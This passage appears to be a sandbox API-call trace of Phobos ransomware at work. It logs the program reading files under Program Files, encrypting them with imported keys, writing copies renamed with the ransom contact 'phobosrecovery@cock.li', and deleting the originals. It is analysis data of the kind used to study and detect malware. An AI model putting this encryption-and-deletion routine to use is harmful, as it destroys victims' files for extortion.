shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0050.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.653] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.653] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2702) returned 1 [0050.653] CloseHandle (hObject=0x318) returned 1 [0050.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0050.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.653] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.655] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=14856) returned 1 [0050.655] CloseHandle (hObject=0x318) returned 1 [0050.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0050.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.655] SetEvent (hEvent=0x2e8) returned 1 [0050.655] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.656] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=15195) returned 1 [0050.656] CloseHandle (hObject=0x318) returned 1 [0050.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0050.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.656] SetEvent (hEvent=0x2e8) returned 1 [0050.657] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.658] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=630) returned 1 [0050.658] CloseHandle (hObject=0x318) returned 1 [0050.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0050.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.658] SetEvent (hEvent=0x2e8) returned 1 [0050.658] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.658] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=623) returned 1 [0050.658] CloseHandle (hObject=0x318) returned 1 [0050.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0050.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.659] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.659] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=9804) returned 1 [0050.659] CloseHandle (hObject=0x318) returned 1 [0050.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0050.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.659] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.660] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=9975) returned 1 [0050.660] CloseHandle (hObject=0x318) returned 1 [0050.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0050.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.661] SetEvent (hEvent=0x2e8) returned 1 [0050.661] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.661] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=174) returned 1 [0050.661] CloseHandle (hObject=0x318) returned 1 [0050.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0050.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.661] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.661] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.662] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cdf0) returned 1 [0050.662] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.662] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xae, lpOverlapped=0x0) returned 1 [0050.662] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xb0, dwBufLen=0xb0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xb0) returned 1 [0050.662] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xb0, lpOverlapped=0x0) returned 1 [0050.663] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0050.663] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.663] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0050.663] CryptDestroyKey (hKey=0x10cf70) returned 1 [0050.663] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0050.663] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0050.663] CloseHandle (hObject=0x318) returned 1 [0050.663] CloseHandle (hObject=0x320) returned 1 [0050.663] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0050.665] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.666] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1423) returned 1 [0050.666] CloseHandle (hObject=0x320) returned 1 [0050.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0050.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.668] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.669] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.669] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0050.669] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.670] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x58f, lpOverlapped=0x0) returned 1 [0050.696] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x590, dwBufLen=0x590 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x590) returned 1 [0050.696] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x590, lpOverlapped=0x0) returned 1 [0050.697] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ceb0) returned 1 [0050.697] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.697] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0050.697] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0050.697] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0050.697] CryptDestroyKey (hKey=0x10cf70) returned 1 [0050.697] CloseHandle (hObject=0x320) returned 1 [0050.697] CloseHandle (hObject=0x318) returned 1 [0050.698] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0050.699] SetEvent (hEvent=0x2e8) returned 1 [0050.699] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0050.702] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=14156) returned 1 [0050.702] CloseHandle (hObject=0x318) returned 1 [0050.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0050.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0050.703] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.703] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0050.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0050.707] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cab0) returned 1 [0050.707] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.707] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x374c, lpOverlapped=0x0) returned 1 [0050.735] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3750, dwBufLen=0x3750 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3750) returned 1 [0050.735] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x3750, lpOverlapped=0x0) returned 1 [0050.736] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1b0) returned 1 [0050.736] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0050.736] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0050.736] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0050.736] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0050.736] CryptDestroyKey (hKey=0x10cab0) returned 1 [0050.736] CloseHandle (hObject=0x320) returned 1 [0050.736] CloseHandle (hObject=0x2e4) returned 1 [0050.737] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0050.738] SetEvent (hEvent=0x2e8) returned 1 [0050.738] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0050.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0050.738] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=7805) returned 1 [0050.738] CloseHandle (hObject=0x2e4) returned 1 [0050.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0050.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0050.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0050.738] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 